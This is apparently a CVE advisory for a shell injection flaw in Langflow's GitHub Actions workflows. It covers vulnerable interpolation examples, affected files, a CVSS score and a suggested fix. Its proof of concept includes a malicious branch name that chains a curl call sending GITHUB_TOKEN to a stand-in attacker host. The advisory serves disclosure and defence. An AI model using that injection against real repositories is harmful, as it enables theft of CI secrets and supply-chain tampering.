CVE-2026-33475 PUBLISHED

Langflow GitHub Actions Shell Injection

Assigner: GitHub_M
Reserved: 20.03.2026 Published: 24.03.2026 Updated: 24.03.2026

Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., ${{ github.head_ref }}) in run: steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., GITHUB_TOKEN), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.

<hr /> <h3>Details</h3>

Several workflows in .github/workflows/ and .github/actions/ reference GitHub context variables directly in run: shell commands, such as:

yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}"

Or:

yaml run: npx playwright install ${{ inputs.browsers }} --with-deps

Since github.head_ref, github.event.pull_request.title, and custom inputs.* may contain user-controlled values, they must be treated as untrusted input. Direct interpolation without proper quoting or sanitization leads to shell command injection.

<hr /> <h3>PoC</h3>
  1. Fork the Langflow repository
  2. Create a new branch with the name: bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN
  3. Open a Pull Request to the main branch from the new branch
  4. GitHub Actions will run the affected workflow (e.g., deploy-docs-draft.yml)
  5. The run: step containing: yaml echo "Branch: ${{ github.head_ref }}" Will execute: bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN

  6. The attacker receives the CI secret via the exfil URL.

<hr /> <h3>Impact</h3>
  • Type: Shell Injection / Remote Code Execution in CI
  • Scope: Any public Langflow fork with GitHub Actions enabled
  • Impact: Full access to CI secrets (e.g., GITHUB_TOKEN), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data
<hr /> <h3>Suggested Fix</h3>

Refactor affected workflows to use environment variables and wrap them in double quotes:

yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\""

Avoid direct ${{ ... }} interpolation inside run: for any user-controlled value.

<hr /> <h3>Affected Files (Langflow 1.3.4)</h3>
  • .github/actions/install-playwright/action.yml
  • .github/workflows/deploy-docs-draft.yml
  • .github/workflows/docker-build.yml
  • .github/workflows/release_nightly.yml
  • .github/workflows/python_test.yml
  • .github/workflows/typescript_test.yml

Metrics

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CVSS Score: 9.1

Product Status

Vendor langflow-ai
Product langflow
Versions
  • Version < 1.9.0 is affected

References

Problem Types

  • CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') CWE
  • CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') CWE